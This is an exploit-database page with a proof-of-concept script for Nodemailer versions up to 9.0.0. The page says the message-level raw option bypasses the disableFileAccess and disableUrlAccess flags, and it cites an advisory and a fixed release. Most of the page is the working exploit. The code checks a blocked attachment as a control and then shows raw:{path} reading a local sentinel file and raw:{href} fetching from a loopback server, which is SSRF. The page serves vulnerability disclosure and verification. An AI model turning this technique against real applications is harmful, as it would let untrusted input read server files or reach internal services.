Skip to main content

Nodemailer 9.0.0 – File Read/ SSRF

Categories: WebApps

Nodemailer 9.0.0 – File Read/ SSRF

Proof of Concept (PoC)

poc.js
# Exploit Title: Nodemailer 9.0.0 - File Read/ SSRF

# Date: 2026-07-17

# Exploit Author: Pig-Tail (Jorge González Milla)

# Vendor Homepage: https://github.com/nodemailer/nodemailer 

# Software Link: https://www.npmjs.com/package/nodemailer 

# Version: nodemailer <= 9.0.0 (fixed 9.0.1)

# Tested on: Linux

# CVE: N/A

# Category: webapps

# Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/GHSA-p6gq-j5cr-w38f-nodemailer 



MailComposer.compile() builds the raw message/rfc822 node without threading the disableFileAccess/disableUrlAccess flags, so raw:{path}/raw:{href} reads files / fetches URLs anyway. Advisory: GHSA-p6gq-j5cr-w38f.



The PoC is a benign, local verification harness (sentinel-based; no network attack, no

persistence, no destructive payload). Run against a local instance of the affected version.



--- PoC (poc-raw-fileaccess-bypass.js) ---

'use strict';

/*

* PoC — message-level `raw` option bypasses disableFileAccess / disableUrlAccess.

*

* Threat model: an application that accepts untrusted message data passes

* `disableFileAccess: true` (and/or `disableUrlAccess: true`) to Nodemailer to

* prevent that untrusted input from reading local files or fetching URLs

* (the same protection the jsonTransport advisory GHSA-wqvq-jvpq-h66f is about).

*

* This PoC shows that a `raw: { path: <file> }` (or `{ href: <url> }`) message

* is read ANYWAY, because MailComposer.compile() builds the message/rfc822 root

* node WITHOUT threading the flags (lib/mail-composer/index.js:34-35), unlike

* every attachment/alternative node which is created with the flags.

*

* Benign marker: a sentinel file in the OS temp dir whose unique nonce we look

* for in the generated message. No network, no destructive action.

*/

const nodemailer = require('../../../nodemailer');

const fs = require('fs');

const os = require('os');

const path = require('path');

const http = require('http');



const NONCE = 'SENTINEL-' + Date.now() + '-' + Math.floor(Math.random() * 1e6);

const sentinelPath = path.join(os.tmpdir(), 'nm-poc-' + NONCE + '.eml');

fs.writeFileSync(sentinelPath, 'From: a@arnSubject: ' + NONCE + 'rnrnbody ' + NONCE + 'rn');



function buildMessage(data, cb) {

    // streamTransport => fully local, returns the generated message as a stream.

    const transporter = nodemailer.createTransport({

        streamTransport: true,

        buffer: true,

        // The application's protective flags:

        disableFileAccess: true,

        disableUrlAccess: true

    });

    transporter.sendMail(data, (err, info) => {

        if (err) return cb(err);

        cb(null, info.message.toString());

    });

}



function run() {

    console.log('Nodemailer version:', require('../../../nodemailer/package.json').version);

    console.log('Sentinel file     :', sentinelPath);

    console.log('Nonce             :', NONCE);

    console.log('Transporter flags : disableFileAccess=true, disableUrlAccess=truen');



    // --- CONTROL: a normal attachment with the same path MUST be rejected ---

    buildMessage(

        { from: 'a@a', to: 'b@b', subject: 'control', text: 'x', attachments: [{ path: sentinelPath }] },

        (err, msg) => {

            const controlBlocked = !!err && err.code === 'EFILEACCESS';

            console.log('[CONTROL] attachment path with disableFileAccess:');

            console.log('  => ' + (controlBlocked ? 'BLOCKED (EFILEACCESS) — flag works here' : 'NOT blocked (unexpected): ' + (err && err.message)));



            // --- ATTACK: message-level raw with the same path ---

            buildMessage({ raw: { path: sentinelPath } }, (err2, msg2) => {

                if (err2) {

                    console.log('n[ATTACK] raw:{path} => error (NOT bypassed): ' + err2.code + ' ' + err2.message);

                    return finishUrl(controlBlocked, false);

                }

                const leaked = msg2.indexOf(NONCE) !== -1;

                console.log('n[ATTACK] raw:{path} with disableFileAccess=true:');

                console.log('  => ' + (leaked

                    ? 'BYPASSED — sentinel file CONTENT is present in the generated message'

                    : 'not leaked (sentinel nonce absent)'));

                if (leaked) {

                    const idx = msg2.indexOf(NONCE);

                    console.log('  excerpt: ...' + JSON.stringify(msg2.slice(Math.max(0, idx - 20), idx + 20)) + '...');

                }

                finishUrl(controlBlocked, leaked);

            });

        }

    );

}



// Second observable: disableUrlAccess bypass via raw:{href} against a LOCAL (loopback) server.

function finishUrl(controlBlocked, fileLeaked) {

    const URLNONCE = NONCE + '-URL';

    const server = http.createServer((req, res) => {

        res.end('From: a@arnSubject: xrnrnURLBODY ' + URLNONCE + 'rn');

    });

    server.listen(0, '127.0.0.1', () => {

        const port = server.address().port;

        const href = ' http://127.0.0.1 :' + port + '/sentinel';

        buildMessage({ raw: { href: href } }, (err, msg) => {

            let urlLeaked = false;

            if (err) {

                console.log('n[ATTACK] raw:{href} => error (NOT bypassed): ' + err.code + ' ' + err.message);

            } else {

                urlLeaked = msg.indexOf(URLNONCE) !== -1;

                console.log('n[ATTACK] raw:{href} with disableUrlAccess=true (loopback server):');

                console.log('  => ' + (urlLeaked

                    ? 'BYPASSED — server-side fetched body is present in the generated message (SSRF)'

                    : 'not leaked'));

            }

            server.close();

            try { fs.unlinkSync(sentinelPath); } catch (_e) {}



            console.log('n================ RESULT ================');

            console.log('control attachment blocked by flag : ' + controlBlocked);

            console.log('raw:{path} file-access bypass      : ' + fileLeaked);

            console.log('raw:{href} url-access  bypass      : ' + urlLeaked);

            const pass = controlBlocked && (fileLeaked || urlLeaked);

            console.log('VERDICT: ' + (pass ? 'CONFIRMED — raw bypasses the access flags that block attachments' : 'NOT CONFIRMED'));

            process.exit(pass ? 0 : 1);

        });

    });

}



run();

Security Disclaimer

This exploit is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal and may result in severe legal consequences. Always ensure you have explicit permission before testing vulnerabilities.

sh3llz@loading:~$
Loading security modules...